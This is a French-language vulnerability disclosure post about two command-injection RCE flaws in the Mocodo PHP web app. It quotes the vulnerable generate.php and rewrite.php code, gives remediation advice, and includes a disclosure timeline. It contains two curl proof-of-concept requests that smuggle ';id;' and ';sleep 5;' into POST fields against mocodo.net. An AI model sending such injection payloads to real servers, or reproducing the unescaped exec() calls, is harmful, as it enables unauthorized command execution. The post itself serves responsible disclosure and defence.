Introduction

Dans le monde du développement logiciel, la sécurité est un enjeu majeur qui doit constamment être adressé pour protéger à la fois les données et les infrastructures. Cet article vise à dévoiler en détail deux vulnérabilités critiques d’exécution de commandes à distance (RCE) découvertes dans Mocodo, un outil populaire utilisé pour la conception de bases de données. Ces failles, si elles sont exploitées, pourraient permettre à un attaquant de prendre le contrôle du serveur hébergeant l’application. Nous discuterons de la nature de ces vulnérabilités, de leurs implications potentielles et des mesures à prendre pour sécuriser les installations de Mocodo.

Qu’est-ce que Mocodo ?

Mocodo

Mocodo est un outil en ligne conçu pour aider les développeurs et les concepteurs de bases de données à visualiser et à générer des schémas de bases de données relationnelles à partir d’une description textuelle simple. Grâce à sa facilité d’utilisation et à sa capacité à générer des schémas clairs et compréhensibles, Mocodo est devenu un choix populaire pour l’enseignement et les projets professionnels. Toutefois, comme tout logiciel, Mocodo n’est pas exempt de failles de sécurité, dont certaines peuvent avoir des conséquences sévères.

Fun Fact: J’ai découvert Mocodo à l’Oteria Cyber School, une école de cybersécurité où je poursuis mes études. Nous avons utilisé cet outil pour apprendre à réaliser des Modèles Conceptuels de Données (MCD) en cours de base de données pendant l’année universitaire 2022-2023. Cette expérience pratique a non seulement enrichi notre compréhension théorique mais a également souligné l’importance de la sécurité dans la manipulation et la gestion des schémas de bases de données.

Découverte des Vulnérabilités

Les vulnérabilités en question ont été identifiées dans les scripts PHP qui gèrent certaines entrées utilisateur via des formulaires web. Ces scripts ne filtrent pas correctement les entrées utilisateur, permettant ainsi l’injection et l’exécution de commandes arbitraires sur le serveur où Mocodo est installé.

Détail Technique de la Vulnérabilité RCE dans /web/generate.php (CVE-2024-35374)

Segment de Code Vulnérable dans /web/generate.php

if ($_POST['conversions']) {
    $transformation_options = "";
    $conversions = array();
    foreach ($_POST['conversions'] as $ext) {
        if ($ext == "_ddl.sql") {
            $transformation_options .= " " . $_POST['sql_case'] . ":labels";
        };
        if ($_POST['with_constraints']) {
            $option = $transformations[str_replace("_mld", "_mld_with_constraints", $ext)];
        } else {
            $option = $transformations[$ext];
        };
        $transformation_options .= " " . $option;
        $conversions[] = $ext;
    };
    $mocodo .= " -t{$transformation_options}";
    $basthon_options .= " --select all -t{$transformation_options}";
};

...

$command_line = "{$mocodo} 2>&1 >/dev/null";
exec($command_line, $out);

Explication

  • Traitement des conversions : Le code itère sur le tableau $_POST['conversions'] pour traiter différents types de fichiers spécifiés par l’utilisateur.
  • Injection de commande : Si l’extension _ddl.sql est trouvée, la valeur de $_POST['sql_case'] est ajoutée directement aux options de transformation, ce qui peut inclure des commandes arbitraires si sql_case est malicieusement formée par un attaquant.

Exemple d’exploitation

Utilisez cette commande curl pour simuler une attaque exploitant cette vulnérabilité :

curl -X POST https://mocodo.net/web/generate.php \
     -d "state=dirty&text=RCE:+rce&conversions[]=_ddl.sql&sql_case=;id;"

PoC

Détail Technique de la Vulnérabilité RCE dans /web/rewrite.php (CVE-2024-35373)

Segment de Code Vulnérable dans /web/rewrite.php

if (strpos($_SERVER['HTTP_REFERER'], 'localhost')) {
    $mocodo = "~/opt/anaconda3/bin/mocodo";
} else {
    $mocodo = "~/.local/bin/mocodo";
};
$command_line = "{$mocodo} -t " . $_POST['args'] . " 2>&1";

// Execute the command and test the exit code.
// If it is not 0, return an array with a key "err" and the error message.

$out = array();
exec($command_line, $out, $exitCode);
if ($exitCode) {
    echo json_encode(array("err" => implode("\n", $out)));
    exit();
}

Explication

  1. Choix du chemin d’accès à l’exécutable : Le chemin vers l’exécutable mocodo est déterminé en fonction de l’origine de la requête. Cela change en fonction du fait que la requête provienne de localhost ou non.
  2. Construction de la commande : Le chemin est ensuite utilisé pour construire une ligne de commande en y ajoutant $_POST['args'], une variable utilisateur qui n’est pas filtrée ni échappée, ce qui permet l’injection de commandes.
  3. Exécution de la commande : La commande est exécutée avec exec(), et la sortie est traitée. Si une erreur survient (indiquée par un exitCode non nul), un message d’erreur est renvoyé.

Exemple de l’exploitation

La vulnérabilité peut être exploitée en envoyant une requête POST avec un payload malveillant dans args. Voici comment un attaquant pourrait utiliser curl pour injecter une commande simple (sleep 5), qui mettrait le serveur en pause pendant 5 secondes :

curl -X POST https://mocodo.net/web/rewrite.php \
     -d "state=dirty&text=RCE:+rce&args=;sleep+5;"

PoC

Solutions et Recommandations

Pour corriger cette vulnérabilité, il est crucial d’implémenter une validation stricte des entrées utilisateur et/ou d’échapper toutes les commandes exécutées :

  • Utiliser escapeshellarg() pour chaque paramètre passé à la commande système pour s’assurer qu’aucun caractère potentiellement dangereux n’est interprété comme une partie de la commande.
  • Validation des entrées pour s’assurer que les données transmises correspondent à des valeurs attendues et sécurisées avant de les utiliser dans un contexte de commande système.

Ces mesures aideront à prévenir l’exécution non autorisée de commandes sur le serveur et renforceront la sécurité globale de l’application.

Mesures de Correction Suggérées

  • Échappement des commandes : utiliser escapeshellarg() sur $_POST['sql_case'] et $_POST['args'] pour s’assurer que toutes les entrées soient sécurisées.

Timeline des Événements

  • 9 mai 2024 : Détection des vulnérabilités d’exécution de commandes à distance (RCE) dans Mocodo.
  • 9 mai 2024 : Notification des vulnérabilités à l’équipe de Mocodo via leur canal de communication officiel.
  • 9 mai 2024 : Réponse de l’équipe Mocodo, reconnaissant la réception du signalement des vulnérabilités quelques heures après la notification.
  • 9 mai 2024 : Vulnérabilité corrigée dans la version 4.2.7
  • 9 mai 2024 : Publication de l’article

Ressources Utiles

Pour ceux intéressés à en apprendre davantage sur Mocodo ou à contribuer à l’amélioration de sa sécurité, voici des liens utiles :

  • Mocodo Online - La plateforme en ligne où Mocodo est accessible pour la création de schémas de bases de données.
  • GitHub - Mocodo - Le dépôt GitHub de Mocodo, développé par Aristide Grange, où le code source est disponible et où les contributions communautaires sont bienvenues.

Remerciements

Je remercie sincèrement l’équipe de Mocodo, et particulièrement le développeur Aristide Grange, pour leur réponse rapide et leur reconnaissance de l’importance de ces problèmes de sécurité.